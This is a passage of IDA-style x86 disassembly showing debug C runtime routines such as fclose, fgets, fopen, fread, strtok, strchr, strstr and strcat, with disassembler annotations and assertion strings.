.text:004196C1j cmp dword ptr [ebp-18h], 0 jz short loc_419719 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_41A2F0 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_4196A7 ; --------------------------------------------------------------------------- loc_419719: ; CODE XREF: .text:004196DCj cmp dword ptr [ebp-10h], 2Dh jnz short loc_41972E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_419734 ; --------------------------------------------------------------------------- loc_41972E: ; CODE XREF: .text:0041971Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_419734: ; CODE XREF: .text:0041972Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419740 proc near ; CODE XREF: sub_403FBB+14Fp ; sub_4041AA+64p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh loc_41974E: ; CODE XREF: sub_419740+36j cmp [ebp+arg_0], 0 jnz short loc_419772 push offset aStreamNull ; "stream != NULL" push 0 push 3Ah push offset aFclose_c ; "fclose.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419772 int 3 ; Trap to Debugger loc_419772: ; CODE XREF: sub_419740+12j ; sub_419740+2Fj xor eax, eax test eax, eax jnz short loc_41974E mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_419791 mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 0 jmp short loc_4197B8 ; --------------------------------------------------------------------------- loc_419791: ; CODE XREF: sub_419740+43j mov ecx, [ebp+arg_0] push ecx call sub_421230 add esp, 4 mov edx, [ebp+arg_0] push edx call sub_4197D0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_4212A0 add esp, 4 loc_4197B8: ; CODE XREF: sub_419740+4Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197D0 proc near ; CODE XREF: sub_419740+61p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_4197E6: ; CODE XREF: sub_4197D0+3Ej cmp [ebp+arg_0], 0 jnz short loc_41980A push offset aStrNull ; "str != NULL" push 0 push 77h push offset aFclose_c ; "fclose.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41980A int 3 ; Trap to Debugger loc_41980A: ; CODE XREF: sub_4197D0+1Aj ; sub_4197D0+37j xor ecx, ecx test ecx, ecx jnz short loc_4197E6 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41987A mov ecx, [ebp+var_8] push ecx call sub_421580 add esp, 4 mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call sub_421440 add esp, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx call sub_421310 add esp, 4 test eax, eax jge short loc_419856 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_41987A ; --------------------------------------------------------------------------- loc_419856: ; CODE XREF: sub_4197D0+7Bj mov edx, [ebp+var_8] cmp dword ptr [edx+1Ch], 0 jz short loc_41987A push 2 mov eax, [ebp+var_8] mov ecx, [eax+1Ch] push ecx call sub_4174C0 add esp, 8 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 loc_41987A: ; CODE XREF: sub_4197D0+4Dj ; sub_4197D0+84j ... mov eax, [ebp+var_8] mov dword ptr [eax+0Ch], 0 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4197D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419890 proc near ; CODE XREF: sub_403FBB+E4p ; sub_403FBB+EFp ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_41FA10 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_4198B6 ; --------------------------------------------------------------------------- loc_4198AD: ; CODE XREF: sub_419890+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4198B6: ; CODE XREF: sub_419890+1Bj cmp [ebp+var_C], 20h jge short loc_4198C6 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_4198AD ; --------------------------------------------------------------------------- loc_4198C6: ; CODE XREF: sub_419890+2Aj ; sub_419890+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_4198C6 cmp [ebp+arg_0], 0 jz short loc_419919 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_419922 ; --------------------------------------------------------------------------- loc_419919: ; CODE XREF: sub_419890+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_419922: ; CODE XREF: sub_419890+87j ; sub_419890+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_419961 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_419961 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_419922 ; --------------------------------------------------------------------------- loc_419961: ; CODE XREF: sub_419890+B9j ; sub_419890+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_419972 ; --------------------------------------------------------------------------- loc_419969: ; CODE XREF: sub_419890:loc_4199B7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_419972: ; CODE XREF: sub_419890+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_4199B9 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_4199B7 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4199B9 ; --------------------------------------------------------------------------- loc_4199B7: ; CODE XREF: sub_419890+114j jmp short loc_419969 ; --------------------------------------------------------------------------- loc_4199B9: ; CODE XREF: sub_419890+EBj ; sub_419890+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_4199CE xor eax, eax jmp short loc_4199D1 ; --------------------------------------------------------------------------- loc_4199CE: ; CODE XREF: sub_419890+138j mov eax, [ebp+arg_0] loc_4199D1: ; CODE XREF: sub_419890+13Cj mov esp, ebp pop ebp retn sub_419890 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4199F0 loc_4199E0: ; CODE XREF: sub_4199F0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4199F0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4199F0 proc near ; CODE XREF: sub_403FBB+D0p ; sub_40A29A+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 004199E0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_4199F6: ; CODE XREF: sub_419AB0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_419A1B loc_419A08: ; CODE XREF: sub_4199F0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_4199E0 test cl, cl jz short loc_419A64 test edx, 3 jnz short loc_419A08 loc_419A1B: ; CODE XREF: sub_4199F0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_419A26: ; CODE XREF: sub_4199F0+61j ; sub_4199F0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_419A68 and eax, 81010100h jz short loc_419A26 and eax, 1010100h jnz short loc_419A62 and esi, 80000000h jnz short loc_419A26 loc_419A62: ; CODE XREF: sub_4199F0+68j ; sub_4199F0+81j ... pop esi pop edi loc_419A64: ; CODE XREF: sub_4199F0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_419A68: ; CODE XREF: sub_4199F0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419AA5 test al, al jz short loc_419A62 cmp ah, bl jz short loc_419A9E test ah, ah jz short loc_419A62 shr eax, 10h cmp al, bl jz short loc_419A97 test al, al jz short loc_419A62 cmp ah, bl jz short loc_419A90 test ah, ah jz short loc_419A62 jmp short loc_419A26 ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199F0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199F0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419A9E: ; CODE XREF: sub_4199F0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419AA5: ; CODE XREF: sub_4199F0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_4199F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419AB0 proc near ; CODE XREF: sub_403FBB+C0p ; sub_405E58+C6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_419B2A mov dh, [ecx+1] test dh, dh jz short loc_419B17 loc_419AC8: ; CODE XREF: sub_419AB0+52j ; sub_419AB0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_419AEA test al, al jz short loc_419AE4 loc_419AD9: ; CODE XREF: sub_419AB0+32j mov al, [esi] inc esi loc_419ADC: ; CODE XREF: sub_419AB0+3Fj cmp al, dl jz short loc_419AEA test al, al jnz short loc_419AD9 loc_419AE4: ; CODE XREF: sub_419AB0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_419AEA: ; CODE XREF: sub_419AB0+23j ; sub_419AB0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_419ADC lea edi, [esi-1] loc_419AF4: ; CODE XREF: sub_419AB0+63j mov ah, [ecx+2] test ah, ah jz short loc_419B23 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_419AC8 mov al, [ecx+3] test al, al jz short loc_419B23 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_419AF4 jmp short loc_419AC8 ; --------------------------------------------------------------------------- loc_419B17: ; CODE XREF: sub_419AB0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_4199F6 ; --------------------------------------------------------------------------- loc_419B23: ; CODE XREF: sub_419AB0+49j ; sub_419AB0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_419B2A: ; CODE XREF: sub_419AB0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_419AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B30 proc near ; CODE XREF: sub_403FBB+A9p ; sub_40C50A+4810p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_419B45: ; CODE XREF: sub_419B30+3Dj cmp [ebp+arg_0], 0 jnz short loc_419B69 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419B69 int 3 ; Trap to Debugger loc_419B69: ; CODE XREF: sub_419B30+19j ; sub_419B30+36j xor edx, edx test edx, edx jnz short loc_419B45 loc_419B6F: ; CODE XREF: sub_419B30+67j cmp [ebp+arg_8], 0 jnz short loc_419B93 push offset aStrNull ; "str != NULL" push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419B93 int 3 ; Trap to Debugger loc_419B93: ; CODE XREF: sub_419B30+43j ; sub_419B30+60j xor eax, eax test eax, eax jnz short loc_419B6F cmp [ebp+arg_4], 0 jg short loc_419BA6 xor eax, eax jmp loc_419C67 ; --------------------------------------------------------------------------- loc_419BA6: ; CODE XREF: sub_419B30+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_421230 add esp, 4 loc_419BB8: ; CODE XREF: sub_419B30:loc_419C4Dj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_419C52 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_419C03 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_419C12 ; --------------------------------------------------------------------------- loc_419C03: ; CODE XREF: sub_419B30+B1j mov edx, [ebp+var_4] push edx call sub_421790 add esp, 4 mov [ebp+var_14], eax loc_419C12: ; CODE XREF: sub_419B30+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_419C31 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_419C2F mov [ebp+var_10], 0 jmp short loc_419C58 ; --------------------------------------------------------------------------- loc_419C2F: ; CODE XREF: sub_419B30+F4j jmp short loc_419C52 ; --------------------------------------------------------------------------- loc_419C31: ; CODE XREF: sub_419B30+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_419C4D jmp short loc_419C52 ; --------------------------------------------------------------------------- loc_419C4D: ; CODE XREF: sub_419B30+119j jmp loc_419BB8 ; --------------------------------------------------------------------------- loc_419C52: ; CODE XREF: sub_419B30+95j ; sub_419B30:loc_419C2Fj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_419C58: ; CODE XREF: sub_419B30+FDj mov ecx, [ebp+var_4] push ecx call sub_4212A0 add esp, 4 mov eax, [ebp+var_10] loc_419C67: ; CODE XREF: sub_419B30+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C70 proc near ; CODE XREF: sub_419D70+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_419C79: ; CODE XREF: sub_419C70+31j cmp [ebp+arg_0], 0 jnz short loc_419C9D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419C9D int 3 ; Trap to Debugger loc_419C9D: ; CODE XREF: sub_419C70+Dj ; sub_419C70+2Aj xor eax, eax test eax, eax jnz short loc_419C79 loc_419CA3: ; CODE XREF: sub_419C70+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_419CCB push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419CCB int 3 ; Trap to Debugger loc_419CCB: ; CODE XREF: sub_419C70+3Bj ; sub_419C70+58j xor eax, eax test eax, eax jnz short loc_419CA3 loc_419CD1: ; CODE XREF: sub_419C70+89j cmp [ebp+arg_4], 0 jnz short loc_419CF5 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419CF5 int 3 ; Trap to Debugger loc_419CF5: ; CODE XREF: sub_419C70+65j ; sub_419C70+82j xor ecx, ecx test ecx, ecx jnz short loc_419CD1 loc_419CFB: ; CODE XREF: sub_419C70+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_419D23 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_419D23 int 3 ; Trap to Debugger loc_419D23: ; CODE XREF: sub_419C70+93j ; sub_419C70+B0j xor ecx, ecx test ecx, ecx jnz short loc_419CFB call sub_421D10 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419D3B xor eax, eax jmp short loc_419D65 ; --------------------------------------------------------------------------- loc_419D3B: ; CODE XREF: sub_419C70+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_421980 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_4212A0 add esp, 4 mov eax, [ebp+var_8] loc_419D65: ; CODE XREF: sub_419C70+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D70 proc near ; CODE XREF: sub_403FBB+90p ; sub_4041AA+18p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_419C70 add esp, 0Ch pop ebp retn sub_419D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D90 proc near ; CODE XREF: sub_4041AA+45p ; sub_406C9A+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_421230 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_419DD0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_4212A0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_419D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DD0 proc near ; CODE XREF: sub_419D90+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_419DF9 xor eax, eax jmp loc_419F9B ; --------------------------------------------------------------------------- loc_419DF9: ; CODE XREF: sub_419DD0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_419E14 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_419E1B ; --------------------------------------------------------------------------- loc_419E14: ; CODE XREF: sub_419DD0+37j mov [ebp+var_1C], 1000h loc_419E1B: ; CODE XREF: sub_419DD0+42j ; sub_419DD0:loc_419F93j cmp [ebp+var_C], 0 jz loc_419F98 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_419EA9 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_419EA9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_419E51 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_419E5A ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: sub_419DD0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_419E5A: ; CODE XREF: sub_419DD0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_418A00 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_419F93 ; --------------------------------------------------------------------------- loc_419EA9: ; CODE XREF: sub_419DD0+63j ; sub_419DD0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_419F4E cmp [ebp+var_1C], 0 jz short loc_419ECD mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_419ED3 ; --------------------------------------------------------------------------- loc_419ECD: ; CODE XREF: sub_419DD0+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_419ED3: ; CODE XREF: sub_419DD0+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_421E90 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_419F18 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_419F9B ; --------------------------------------------------------------------------- loc_419F18: ; CODE XREF: sub_419DD0+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_419F3A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_419F9B ; --------------------------------------------------------------------------- loc_419F3A: ; CODE XREF: sub_419DD0+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_419F93 ; --------------------------------------------------------------------------- loc_419F4E: ; CODE XREF: sub_419DD0+DFj mov eax, [ebp+arg_C] push eax call sub_421790 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_419F70 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_419F9B ; --------------------------------------------------------------------------- loc_419F70: ; CODE XREF: sub_419DD0+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_419F93: ; CODE XREF: sub_419DD0+D4j ; sub_419DD0+17Cj jmp loc_419E1B ; --------------------------------------------------------------------------- loc_419F98: ; CODE XREF: sub_419DD0+4Fj mov eax, [ebp+arg_8] loc_419F9B: ; CODE XREF: sub_419DD0+24j ; sub_419DD0+143j ... mov esp, ebp pop ebp retn sub_419DD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419FA0 proc near ; CODE XREF: sub_406D34+2C5p ; sub_409842+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41A011 sub_419FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419FB0 proc near ; CODE XREF: sub_40449C+13Ep ; sub_407317+15Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_419FCC loc_419FBD: ; CODE XREF: sub_419FB0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_419FFF test ecx, 3 jnz short loc_419FBD loc_419FCC: ; CODE XREF: sub_419FB0+Bj ; sub_419FB0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_419FCC mov eax, [ecx-4] test al, al jz short loc_41A00E test ah, ah jz short loc_41A009 test eax, 0FF0000h jz short loc_41A004 test eax, 0FF000000h jz short loc_419FFF jmp short loc_419FCC ; --------------------------------------------------------------------------- loc_419FFF: ; CODE XREF: sub_419FB0+12j ; sub_419FB0+4Bj lea edi, [ecx-1] jmp short loc_41A011 ; --------------------------------------------------------------------------- loc_41A004: ; CODE XREF: sub_419FB0+44j lea edi, [ecx-2] jmp short loc_41A011 ; --------------------------------------------------------------------------- loc_41A009: ; CODE XREF: sub_419FB0+3Dj lea edi, [ecx-3] jmp short loc_41A011 ; --------------------------------------------------------------------------- loc_41A00E: ; CODE XREF: sub_419FB0+39j lea edi, [ecx-4] loc_41A011: ; CODE XREF: sub_419FA0+5j ; sub_419FB0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41A036 loc_41A01D: ; CODE XREF: sub_419FB0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41A088 mov [edi], dl inc edi test ecx, 3 jnz short loc_41A01D jmp short loc_41A036 ; --------------------------------------------------------------------------- loc_41A031: ; CODE XREF: sub_419FB0+9Ej ; sub_419FB0+B8j mov [edi], edx add edi, 4 loc_41A036: ; CODE XREF: sub_419FB0+6Bj ; sub_419FB0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41A031 test dl, dl jz short loc_41A088 test dh, dh jz short loc_41A07F test edx, 0FF0000h jz short loc_41A072 test edx, 0FF000000h jz short loc_41A06A jmp short loc_41A031 ; --------------------------------------------------------------------------- loc_41A06A: ; CODE XREF: sub_419FB0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41A072: ; CODE XREF: sub_419FB0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41A07F: ; CODE XREF: sub_419FB0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41A088: ; CODE XREF: sub_419FB0+72j ; sub_419FB0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_419FB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A090 proc near ; CODE XREF: sub_404A02+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_421230 add esp, 4 